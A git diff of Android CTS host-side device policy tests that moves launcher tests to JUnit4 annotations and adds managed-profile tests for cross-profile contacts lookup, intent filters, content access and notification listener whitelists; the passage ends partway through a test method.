diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 5d67a46..05a0157 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -16,9 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
 
 import java.util.Collections;
 
@@ -32,7 +32,7 @@
     private int mCurrentUserId;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mHasLauncherApps = getDevice().getApiLevel() >= 21;
 
@@ -45,13 +45,14 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasLauncherApps) {
             uninstallTestApps();
         }
         super.tearDown();
     }
 
+    @Test
     public void testInstallAppMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -62,6 +63,8 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @FlakyTest
+    @Test
     public void testLauncherCallbackPackageAddedMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -75,6 +78,8 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @FlakyTest
+    @Test
     public void testLauncherCallbackPackageRemovedMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -88,6 +93,8 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @FlakyTest
+    @Test
     public void testLauncherCallbackPackageChangedMainUser() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -101,6 +108,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testLauncherNonExportedAppFails() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -111,6 +119,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testLaunchNonExportActivityFails() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -121,6 +130,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testLaunchMainActivity() throws Exception {
         if (!mHasLauncherApps) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index fa92065..0ff9430 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import org.junit.Test;
+
 import java.util.Collections;
 
 /**
@@ -35,7 +37,7 @@
     private int mCurrentUserId;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mHasLauncherApps = getDevice().getApiLevel() >= 21;
 
@@ -48,7 +50,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasLauncherApps) {
             uninstallTestApps();
         }
@@ -71,6 +73,7 @@
         getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
     }
 
+    @Test
     public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -80,6 +83,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -89,6 +93,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testNoLauncherActivityAppNotInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -98,6 +103,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testNoPermissionAppNotInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
@@ -107,6 +113,7 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
+    @Test
     public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
         if (!mHasLauncherApps) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
new file mode 100644
index 0000000..2ed1e30
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -0,0 +1,425 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+
+import org.junit.Test;
+
+import java.util.concurrent.Callable;
+
+public class ManagedProfileContactsTest extends BaseManagedProfileTest {
+    private static final String DIRECTORY_PROVIDER_APK = "CtsContactDirectoryProvider.apk";
+    private static final String DIRECTORY_PROVIDER_PKG
+            = "com.android.cts.contactdirectoryprovider";
+    private static final String PRIMARY_DIRECTORY_PREFIX = "Primary";
+    private static final String MANAGED_DIRECTORY_PREFIX = "Managed";
+    private static final String DIRECTORY_PRIVOIDER_URI
+            = "content://com.android.cts.contact.directory.provider/";
+    private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
+
+    @LargeTest
+    @Test
+    public void testManagedContactsUris() throws Exception {
+        runManagedContactsTest(() -> {
+            ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileContactsTest.this,
+                    MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
+
+            contactsTestSet.setCallerIdEnabled(true);
+            contactsTestSet.setContactsSearchEnabled(true);
+            contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
+            contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
+            contactsTestSet.checkIfCanFilterSelfContacts();
+            return null;
+        });
+    }
+
+    @FlakyTest
+    @Test
+    public void testManagedQuickContacts() throws Exception {
+        runManagedContactsTest(() -> {
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testQuickContact", mParentUserId);
+            return null;
+        });
+    }
+
+    @FlakyTest
+    @Test
+    public void testManagedContactsPolicies() throws Exception {
+        runManagedContactsTest(() -> {
+            ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileContactsTest.this,
+                    MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
+            try {
+                contactsTestSet.setCallerIdEnabled(true);
+                contactsTestSet.setContactsSearchEnabled(false);
+                contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
+                contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
+                contactsTestSet.checkIfCanFilterSelfContacts();
+                contactsTestSet.setCallerIdEnabled(false);
+                contactsTestSet.setContactsSearchEnabled(true);
+                contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
+                contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
+                contactsTestSet.checkIfCanFilterSelfContacts();
+                contactsTestSet.setCallerIdEnabled(false);
+                contactsTestSet.setContactsSearchEnabled(false);
+                contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
+                contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
+                contactsTestSet.checkIfCanFilterSelfContacts();
+                contactsTestSet.checkIfNoEnterpriseDirectoryFound();
+                if (isStatsdEnabled(getDevice())) {
+                    assertMetricsLogged(getDevice(), () -> {
+                        contactsTestSet.setCallerIdEnabled(true);
+                        contactsTestSet.setCallerIdEnabled(false);
+                    }, new DevicePolicyEventWrapper
+                            .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+                            .setAdminPackageName(MANAGED_PROFILE_PKG)
+                            .setBoolean(false)
+                            .build(),
+                    new DevicePolicyEventWrapper
+                            .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+                            .setAdminPackageName(MANAGED_PROFILE_PKG)
+                            .setBoolean(true)
+                            .build());
+                    assertMetricsLogged(getDevice(), () -> {
+                        contactsTestSet.setContactsSearchEnabled(true);
+                        contactsTestSet.setContactsSearchEnabled(false);
+                    }, new DevicePolicyEventWrapper
+                            .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+                            .setAdminPackageName(MANAGED_PROFILE_PKG)
+                            .setBoolean(false)
+                            .build(),
+                    new DevicePolicyEventWrapper
+                            .Builder(
+                            EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+                            .setAdminPackageName(MANAGED_PROFILE_PKG)
+                            .setBoolean(true)
+                            .build());
+                }
+                return null;
+            } finally {
+                // reset policies
+                contactsTestSet.setCallerIdEnabled(true);
+                contactsTestSet.setContactsSearchEnabled(true);
+            }
+        });
+    }
+
+    private void setDirectoryPrefix(String directoryName, int userId)
+            throws DeviceNotAvailableException {
+        String command = "content call --uri " + DIRECTORY_PRIVOIDER_URI
+                + " --user " + userId
+                + " --method " + SET_CUSTOM_DIRECTORY_PREFIX_METHOD
+                + " --arg " + directoryName;
+        LogUtil.CLog.d("Output for command " + command + ": "
+                + getDevice().executeShellCommand(command));
+    }
+
+    private void runManagedContactsTest(Callable<Void> callable) throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Allow cross profile contacts search.
+            // TODO test both on and off.
+            getDevice().executeShellCommand(
+                    "settings put --user " + mProfileUserId
+                    + " secure managed_profile_contact_remote_search 1");
+
+            // Add test account
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testAddTestAccount", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testAddTestAccount", mProfileUserId);
+
+            // Install directory provider to both primary and managed profile
+            installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
+            setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
+            setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
+
+            // Check enterprise directory API works
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testGetDirectoryListInPrimaryProfile", mParentUserId);
+
+            // Insert Primary profile Contacts
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testPrimaryProfilePhoneAndEmailLookup_insertedAndfound", mParentUserId);
+            // Insert Managed profile Contacts
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testManagedProfilePhoneAndEmailLookup_insertedAndfound", mProfileUserId);
+            // Insert a primary contact with same phone & email as other
+            // enterprise contacts
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testPrimaryProfileDuplicatedPhoneEmailContact_insertedAndfound",
+                    mParentUserId);
+            // Insert a enterprise contact with same phone & email as other
+            // primary contacts
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testManagedProfileDuplicatedPhoneEmailContact_insertedAndfound",
+                    mProfileUserId);
+
+            callable.call();
+
+        } finally {
+            // Clean up in managed profile and primary profile
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testCurrentProfileContacts_removeContacts", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testCurrentProfileContacts_removeContacts", mParentUserId);
+            getDevice().uninstallPackage(DIRECTORY_PROVIDER_PKG);
+        }
+    }
+
+    /*
+     * Container for running ContactsTest under multi-user environment
+     */
+    private static class ContactsTestSet {
+
+        private ManagedProfileContactsTest mManagedProfileContactsTest;
+        private String mManagedProfilePackage;
+        private int mParentUserId;
+        private int mProfileUserId;
+
+        public ContactsTestSet(ManagedProfileContactsTest managedProfileContactsTest,
+                String managedProfilePackage, int parentUserId, int profileUserId) {
+            mManagedProfileContactsTest = managedProfileContactsTest;
+            mManagedProfilePackage = managedProfilePackage;
+            mParentUserId = parentUserId;
+            mProfileUserId = profileUserId;
+        }
+
+        private void runDeviceTestsAsUser(String pkgName, String testClassName,
+                String testMethodName, Integer userId) throws DeviceNotAvailableException {
+            mManagedProfileContactsTest.runDeviceTestsAsUser(pkgName, testClassName, testMethodName,
+                    userId);
+        }
+
+        // Enable / Disable
+        public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
+            if (enabled) {
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileCallerIdDisabled_false", mProfileUserId);
+            } else {
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileCallerIdDisabled_true", mProfileUserId);
+            }
+        }
+
+        // Enable / Disable cross profile contacts search
+        public void setContactsSearchEnabled(boolean enabled) throws DeviceNotAvailableException {
+            if (enabled) {
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileContactsSearchDisabled_false", mProfileUserId);
+            } else {
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileContactsSearchDisabled_true", mProfileUserId);
+            }
+        }
+
+        public void checkIfCanLookupEnterpriseContacts(boolean expected)
+                throws DeviceNotAvailableException {
+            // Primary user cannot use ordinary phone/email lookup api to access
+            // managed contacts
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfilePhoneLookup_canNotAccessEnterpriseContact", mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEmailLookup_canNotAccessEnterpriseContact", mParentUserId);
+            // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
+            // primary contacts
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryContact",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryContact",
+                    mParentUserId);
+            // When there exist contacts with the same phone/email in primary &
+            // enterprise,
+            // primary user can use ENTERPRISE_CONTENT_FILTER_URI to access the
+            // primary contact.
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseEmailLookupDuplicated_canAccessPrimaryContact",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterprisePhoneLookupDuplicated_canAccessPrimaryContact",
+                    mParentUserId);
+
+            // Managed user cannot use ordinary phone/email lookup api to access
+            // primary contacts
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfilePhoneLookup_canNotAccessPrimaryContact", mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEmailLookup_canNotAccessPrimaryContact", mProfileUserId);
+            // Managed user can use ENTERPRISE_CONTENT_FILTER_URI to access
+            // enterprise contacts
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
+                    mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
+                    mProfileUserId);
+            // Managed user cannot use ENTERPRISE_CONTENT_FILTER_URI to access
+            // primary contacts
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterprisePhoneLookup_canNotAccessPrimaryContact",
+                    mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterpriseEmailLookup_canNotAccessPrimaryContact",
+                    mProfileUserId);
+            // When there exist contacts with the same phone/email in primary &
+            // enterprise,
+            // managed user can use ENTERPRISE_CONTENT_FILTER_URI to access the
+            // enterprise contact.
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterpriseEmailLookupDuplicated_canAccessEnterpriseContact",
+                    mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterprisePhoneLookupDuplicated_canAccessEnterpriseContact",
+                    mProfileUserId);
+
+            // Check if phone lookup can access primary directories
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryDirectories",
+                    mParentUserId);
+
+            // Check if email lookup can access primary directories
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryDirectories",
+                    mParentUserId);
+
+            if (expected) {
+                // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
+                // managed profile contacts
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
+                        mParentUserId);
+
+                // Make sure SIP enterprise lookup works too.
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseSipLookup_canAccessEnterpriseContact",
+                        mParentUserId);
+
+                // Check if phone lookup can access enterprise directories
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneLookup_canAccessManagedDirectories",
+                        mParentUserId);
+
+                // Check if email lookup can access enterprise directories
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseEmailLookup_canAccessManagedDirectories",
+                        mParentUserId);
+            } else {
+                // Primary user cannot use ENTERPRISE_CONTENT_FILTER_URI to
+                // access managed contacts
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneLookup_canNotAccessEnterpriseContact",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
+                        mParentUserId);
+
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseEmailLookup_canNotAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
+                        mParentUserId);
+            }
+        }
+
+        public void checkIfCanFilterSelfContacts() throws DeviceNotAvailableException {
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseCallableFilter_canAccessPrimaryDirectories",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterpriseCallableFilter_canAccessManagedDirectories",
+                    mProfileUserId);
+
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseEmailFilter_canAccessPrimaryDirectories",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testEnterpriseProfileEnterpriseEmailFilter_canAccessManagedDirectories",
+                    mProfileUserId);
+
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseContactFilter_canAccessPrimaryDirectories",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterpriseContactFilter_canAccessManagedDirectories",
+                    mProfileUserId);
+
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterprisePhoneFilter_canAccessPrimaryDirectories",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEnterprisePhoneFilter_canAccessManagedDirectories",
+                    mProfileUserId);
+        }
+
+        public void checkIfCanFilterEnterpriseContacts(boolean expected)
+                throws DeviceNotAvailableException {
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testFilterUriWhenDirectoryParamMissing", mParentUserId);
+            if (expected) {
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseCallableFilter_canAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseEmailFilter_canAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseContactFilter_canAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneFilter_canAccessManagedDirectories",
+                        mParentUserId);
+            } else {
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseCallableFilter_canNotAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseEmailFilter_canNotAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterpriseContactFilter_canNotAccessManagedDirectories",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testPrimaryProfileEnterprisePhoneFilter_canNotAccessManagedDirectories",
+                        mParentUserId);
+            }
+        }
+
+        public void checkIfNoEnterpriseDirectoryFound() throws DeviceNotAvailableException {
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEnterpriseDirectories_canNotAccessManagedDirectories",
+                    mParentUserId);
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
new file mode 100644
index 0000000..640eb8b
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -0,0 +1,528 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+
+import org.junit.Test;
+
+import java.util.Collections;
+
+public class ManagedProfileCrossProfileTest extends BaseManagedProfileTest {
+    private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
+    private static final String WIDGET_PROVIDER_APK = "CtsWidgetProviderApp.apk";
+    private static final String WIDGET_PROVIDER_PKG = "com.android.cts.widgetprovider";
+    private static final String PARAM_PROFILE_ID = "profile-id";
+
+    @LargeTest
+    @Test
+    public void testCrossProfileIntentFilters() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Set up activities: ManagedProfileActivity will only be enabled in the managed profile and
+        // PrimaryUserActivity only in the primary one
+        disableActivityForUser("ManagedProfileActivity", mParentUserId);
+        disableActivityForUser("PrimaryUserActivity", mProfileUserId);
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                MANAGED_PROFILE_PKG + ".ManagedProfileTest", mProfileUserId);
+
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                runDeviceTestsAsUser(
+                        MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileTest",
+                        "testAddCrossProfileIntentFilter_all", mProfileUserId);
+            }, new DevicePolicyEventWrapper.Builder(EventId.ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
+                    .setAdminPackageName(MANAGED_PROFILE_PKG)
+                    .setInt(1)
+                    .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
+                    .build());
+        }
+
+        // Set up filters from primary to managed profile
+        String command = "am start -W --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
+                + "/.PrimaryUserFilterSetterActivity";
+        LogUtil.CLog.d("Output for command " + command + ": "
+                + getDevice().executeShellCommand(command));
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".PrimaryUserTest", mParentUserId);
+        // TODO: Test with startActivity
+    }
+
+    @FlakyTest
+    @Test
+    public void testCrossProfileContent() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        // Storage permission shouldn't be granted, we check if missing permissions are respected
+        // in ContentTest#testSecurity.
+        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+
+        // Test from parent to managed
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testRemoveAllFilters", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testAddManagedCanAccessParentFilters", mProfileUserId);
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mParentUserId);
+
+        // Test from managed to parent
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testRemoveAllFilters", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testAddParentCanAccessManagedFilters", mProfileUserId);
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mProfileUserId);
+
+    }
+
+    @FlakyTest
+    @Test
+    public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+        // Profile owner in the profile sets an empty whitelist
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testSetEmptyWhitelist", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+        // Listener outside the profile can only see personal notifications.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testCannotReceiveProfileNotifications", mParentUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
+    @Test
+    public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+        // Profile owner in the profile sets a null whitelist
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testSetNullWhitelist", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+        // Listener outside the profile can see profile and personal notifications
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testCanReceiveNotifications", mParentUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
+    @Test
+    public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
